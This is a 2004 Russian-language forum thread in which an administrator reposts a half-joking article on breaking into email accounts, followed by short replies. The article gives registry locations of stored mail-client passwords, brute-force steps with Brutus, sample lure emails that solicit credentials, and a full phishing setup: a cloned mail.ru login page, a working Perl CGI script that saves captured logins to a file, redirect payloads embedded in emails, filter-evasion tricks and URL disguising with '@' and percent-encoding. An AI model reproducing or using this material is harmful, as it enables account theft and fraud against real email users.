Крымский форум (Crimea-Board) Поиск Участники Помощь Текстовая версия Crimea-Board.Net
Здравствуйте Гость .:: Вход :: Регистрация ::. .:: Выслать повторно письмо для активации  
 
> Рекламный блок.
 

Реклама на форуме

 
> Ваша реклама, здесь
 
 
 

  Start new topic Start Poll 

> Общие принципы взлома различных почтовых ящиков., не без юмора :)
Rumata | Профиль
Дата 11 Марта, 2004, 14:28
Quote Post



The One
Group Icon

Группа: Admin
Сообщений: немеряно
Регистрация: 21.06.03
Авторитет: 100
Вне форума



Доброго времени суток! В этой статье я предложу на рассмотрение и Ваш суд несколько способов взлома почтовых ящиков.
Для начала немного схоластики. Причиной написания этой статьи послужило то, что мне, честно говоря, надоело писать ответы на подобные вопросы. Надеюсь, данная дока поможет. Итак. Рассмотрим какие вообще бывают почтовые ящики. Я бы разделил все почтовые ящики на 3 категории:

железный в подъезде;
корпоративный в фирме;
вебовский на бесплатном сервере.
Ну с первой категорией совсем просто. Берем ломик и топаем смело "хачить" ящик и тырить почту. Некоторые спросят: "А где скачать ПО типа ломик?" Отвечаю: в ближайшем хозяйственном магазине. И еще добавлю, что в принципе, если обладать хваткой гиббона, то можно обойтись и без компрометирующего ломика. Ну да ладно, отвлекся.
Продолжим.
Рассмотрим вторую категорию, корпоративную почту. Здесь уже все намного сложнее. Существуют 2 пути взятия бастиона сервера корпоративной почты (вообще, если подумать, то 3 пути - про ломик нельзя забывать). Так вот, эти два пути заключаются в следующем:
внедриться (удаленно, конечно же) на сам сервер и вырезать базу данных юзеров;
внедриться на машину самого юзера и стырить пароль на почту.
1-й путь, с Вашего позволения, рассматривать в этой статье не буду. В следующий раз. Скажу только, что почтовый сервер тоже должен управляться определенной ОС и подвержен всем ее болезням. В смысле, удастся ли вам попить чайку, если чайник пуст и в кране нет воды?
Второй путь рассмотрю частично. Про внедрение на машину юзера под управлением OS Windows написано очень много. Сразу оговорюсь зачем туда проникать. Дело в том, что корпоративная почта и ее сервер принадлежат в основном только одной компании, АО, предприятию, фирме (нужное подчеркнуть), и поэтому не имеет смысла писать вебовский интерфейс доступа к оной. А посему юзеры пользуются различными почтовыми программами типа Outlook Express, Netscape Mail, The Bat! (редкий случай, т.к. техническому персоналу обычно влом ставить эту прогу, а сам юзер про нее мог даже и не слышать) и др. Вот. Предположим, что мы уже проникли в компьютер юзера. Я опишу только что делать, если у пользователя установлен Outlook Express или Netscape Mail, дабы сэкономить свое и Ваше время, к тому же данные программы является наиболее распространенными среди коммерческих и государственных организаций. Информация о пароле к почте для Outlook Express находится в реестре, в ключах:
HKLM\Software\Microsoft\Protected Storage System Provider\*Default*
\Data\89c39569-6841-11d2-9f59-0000f8085266
или в:
HKLM\Software\Microsoft\Protected Storage System Provider\<UserName>
\Data\89c39569-6841-11d2-9f59-0000f8085266
Если на компьютере включены профили пользователей, то смотреть надо в:
HKCU\Software\Microsoft\Protected Storage System Provider\<UserName>
\Data\89c39569-6841-11d2-9f59-0000f8085266
Для Netscape Mail в ключе:
[HKCU\Software\Netscape\Netscape Navigator\biff\users\<юзер>
\servers\<сервер>] "password"="зашифрованный_пароль"
Наша задача стырить эти данные и расшифровать их. Алгоритм шифрования несложный, стандартный для Windows XOR. Расшифровав полученную информацию, смело телнетимся на сервер по 110-му порту (если он открыт наружу) и забираем почту. Можно также настроить свою почтовую программу (при тех же условиях) и пользоваться ею, но это уже непринципиально.
На сем обзор второй категории и закончим.
Переходим к наиболее интересному (с моей точки зрения) - взлому бесплатной вебовской почты.
Опять же существует несколько способов хака:
подбор пароля;
социальная инженерия;
метод редиректа.
Первый очень простой и наиболее распространен. Алгоритм действий такой:

1. Запускаем Brutus
2. Конфигурируем параметры (сервер, имя , прокси и т.п.)
3. Выбираем файл-словарь (если есть)
4. Устанавливаем метод простого подбора (если нет словаря)
5. Жмем СТАРТ
6. Ждем...
7. Ждем...
8. Ждем...
9. Получаем (или не получаем) результат.

Этот метод не очень хорош. Он медленный, примитивный, не гарантирующий результат, страдает высоким трафиком. Как Вы, наверное, уже поняли я его не люблю.
Второй метод (социальная инженерия) рассчитан на глупость, жадность, доверчивость и любопытство пользователя. Основная задача обмануть жертву и заставить ее отдать пароль без боя. (Или с боем - вспомним про ломик). Как это работает. Пишем письмо жертве примерно такого содержания:
Здравствуйте! Поздравляю, Вы выиграли!

Вы признаетесь самым любопытным пользователем интернета.
Вы выиграли модем USR Courier 56K.
Ваш выигрыш мы с радостью доставим Вам домой.
Отправьте нам свои данные по этому адресу obmanuli@duraka.ru.

Или такого:
FREE!!!

Заполните форму, введите ваш домашний адрес, ФИО,
а также логин/пароль для авторизации на нашем сервере.
Вы получите абсолютно бесплатно майку, куртку,
шапку, сапоги и электрогубозакоталку.

Я уверен, что при наличии серого вещества (как выражается мой знакомый N!kk) Вы придумаете что-то и получше. В первом случае жертва (если поведется) отправит Вам свои данные, которые можно зарядить в форму восстановления забытого пароля и, так сказать, восстановить "забытый пароль". Во втором письме может прийти еще и логип\пароль. Психологически человек не способен запомнить большое кол-во паролей, поэтому в 60% случаев пароль совпадет с тем, который мы и пытаемся раздобыть.
В этом и заключаются основы метода социальной инженерии.

Переходим к последнему методу, методу редиректа. Я назвал этот метод именно так, потому что при открытии письма происходит автоматическая пересылка жертвы на левый сайт. Итак, подробнее. Для начала нам надо застолбить место где-нибудь на бесплатном сервере с поддержкой CGI скриптов. Главное, чтобы не было требований размещения рекламных банеров (почему, объясню позднее). Теперь займемся подготовкой поля боевых действий. Определившись с жертвой, мы знаем на каком сервере расположен ее почтовый ящик. Объясню на примере. Предположим, нам надо добыть пароль к ящику lamer@mail.ru Идем по этому адресу http://win.mail.ru/cgi-bin/auth и копируем исходный текст того, что откроется. Наша цель написать страницу наиболее похожую на настоящую.

Получилось? Надеюсь, что да. Помните я говорил о том, что сервер бесплатного хостинга не должен требовать размещения рекламного баннера? С двумя баннерами наша утка не будет похожа на ихнего гуся. Теперь надо эту страничку немного переделать. Как Вы уже поняли, пользователь при открытии письма перенаправляется на нашу новоиспеченную липу. Увидев приведенную выше форму, жертва думает примерно так: "Опять этот ... сервер, мать ..., сломался!!!" и без лишних подозрений вводит свой логин\пароль. "Попался, гад" подумаем мы. Но его данные надо еще суметь сохранить. Для этого напишем следующий скрипт:

# Часть no. 1
# Этот кусок вытаскивает все переменные из того, что было
# послано формой в массив, и расщепляет наши две переменные
# в $name и $pass, эту часть можно не изменять вообще
&GetFormInput;
$name=$field{'name'};
$pass=$field{'pass'};
sub GetFormInput { (*fval) = @_ if @_ ;
local ($buf);
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN,$buf,$ENV{'CONTENT_LENGTH'});
} else {
$buf=$ENV{'QUERY_STRING'};
}
if ($buf eq "") {
return 0 ;
} else {
@fval=split(/&/,$buf);
foreach $i (0 .. $#fval){
($name,$val)=split (/=/,$fval[$i],2);
$val=~tr/+/ /;
$val=~ s/%(..)/pack("c",hex($1))/ge;
$name=~tr/+/ /;
$name=~ s/%(..)/pack("c",hex($1))/ge;
if (!defined($field{$name})) {
$field{$name}=$val;
} else {
$field{$name} .= ",$val";
}
}
} return 1;
}
# Конец Части no. 1

# Часть no. 2
# Теперь спасаем переменные в текст файл pass.txt
# Сначала откроем его, ИСПОЛЬЗУЕМ метод APPEND(>>)
# Если он не существует, то он будет автоматически создан
open (OUTFILE, ">>pass.txt");
# Запишем переменные в файл
print OUTFILE "$name";
print OUTFILE "\n$pass";
# И несколько "украшений" для удобства дальнейшего чтения
print OUTFILE "\n=======END=======\n\n";
# Может закроем теперь файл?
Close (OUTFILE);
# Конец Части no. 2

# Часть no. 3
# Теперь, после записи данных в файл, можно послать юзера куда
# подальше, что мы и делаем
print "Location: http://your_redirect_URL\n" ;
# Конец Части no. 3

Мне было влом самому писать этот скрипт, поэтому я воспользовался скриптом, написанным 6DE9A, надеюсь, он не обидится.

Теперь немного переделаем форму: вставим в ее определение <form action="наш_скрипт.cgi" method="post">
Вот собственно и все. Проверяем как работает. Если все хорошо, то после нажатия на "Вход >>>" мы должны получить файлик pass.txt с паролем. Получили? Замечательно! Осталась самая малость - перенаправить жертву в нашу паутину.
В нашем письме жертве нужно написать редирект.
Существует два метода редиректа:
Редирект с помощью META HTTP-EQUIV
Редирект с помощью Ява скрипта
Редирект с помощью META HTTP-EQUIV выглядит так:
<META HTTP-EQUIV=Refresh CONTENT="0; URL= http://URL_Куда_послать">

Все это дело вставляется между <head> и </head>, где в значении CONTENT указывается время, после которого должен произойти редирект, и URL значение редиректа.

Редирект с помощью Ява скрипта выглядит так:
<script language="JavaScript">
window.location=http://URL_Куда_послать
</script>

Все это просто и замечательно, но есть серьезная проблема. На халявных мыльницах (почтовых серверах) есть фильтр входящей почты, который нагло срубит все наши старания. Ну что ж, постараемся его обмануть. Можно вот что сделать:
скрипт редиректа можно вставлять в тег <a href="Some_JavaScript">Линк</a>
вставлять в тег <img src="Some_JavaScript">
и даже вставлять в стили:
<style TYPE="text/css">
@import url(Some_JavaScript);
</style>

Все эти стили до сих пор работают на многих мыльницах. "А если не работают?", спросите Вы. Печально. Придется искать другие пути, но не будем о грустном. Допустим все сработало.
Ладно, посмотрим что мы имеем. Письмо прошло, жертва его открыла, отправилась на ..., в общем, попалась, оставила свои данные и вернулась обратно. Ура получилось!!! Но ликовать еще рано. Зайдем-ка еще разок на нашу страничку. Что мы видим в строке адреса?
http://mypage.freehost.ru/antilamer.html
Некрасиво, правда? Любое ламо догадается, что попал не на свой любимый mail.ru Давайте спрячем наш реальный адрес. Известно, что все, что стоит между http:// и @, не принимается во внимание браузером. Отлично, этим и воспользуемся. Теперь наш адрес редиректа будет таким:
http://win.mail.ru/cgi-bin/auth@mypage.fre.../antilamer.html
Но и это еще не все. Реальный адрес еще виден. Ладно, и это исправим. Сам путь тоже можно закодировать, используя ASCII таблицу, то есть, например, вместо w можно поставить %77 и т.д... В итоге получим:
http://win.mail.ru/cgi-bin/auth%40%6d%69%7...%73%74%2e%72%75
Правда здорово? Мне тоже нравится.

За сим позволю себе попрощаться и пожелать Вам больших успехов.

Ах да, чуть не забыл:
Данная статья написана ТОЛЬКО для образовательных целей, я не отвечаю ни за какие последствия, которые могут иметь место вследствие использования этого материала. Вы используете все вышеперечисленное на свой страх и риск.

Вопросы, пожелания, предложения, исправления, дополнения и денежные чеки прошу направлять сюда akvin@xakep.ru

http://wwc.ru


____________________
Ничто так не сближает людей, как снайперский прицел
168/59690   
Бобер | Бездомный
Реклама двигатель прогресса       
Quote Post



А кому сча лехко?
Group Icon
















_________________
Желающим разместить рекламу смотреть сюдой
/   
VladB |
Дата 29 Марта, 2004, 14:45
Quote Post



Unregistered









Если у вас есть физический доступ к машине, то не нужны такие ухищрения. Для таких клиентов, как The Bat и Outlook (Outlook Express) достаточно запустить определенную программу (не инсталлировтаь, а просто запустить) И вы получаете доступ к паролям, а если нужно, то и читаете всю его корреспонденцию, взяв ее предварительно себе smile.gif
И вообще: "Компьютер, к которому кто-то получил физический доступ, больше не ваш компьютер!" (с) Microsoft.
69/   
FreeLSD |
Дата 29 Марта, 2004, 22:28
Quote Post



Unregistered









Цитата :
И вообще: "Компьютер, к которому кто-то получил физический доступ, больше не ваш компьютер!" (с) Microsoft.
И не забывайте про ломик! lol.gif
10/   
VladB |
Дата 30 Марта, 2004, 9:54
Quote Post



Unregistered









простите, при чем тут лом?
1/   

Topic Options Start new topic Start Poll 

 



[ Script Execution time: 0.0109 ]   [ 12 queries used ]   [ GZIP включён ]






Политика конфиденциальности

Top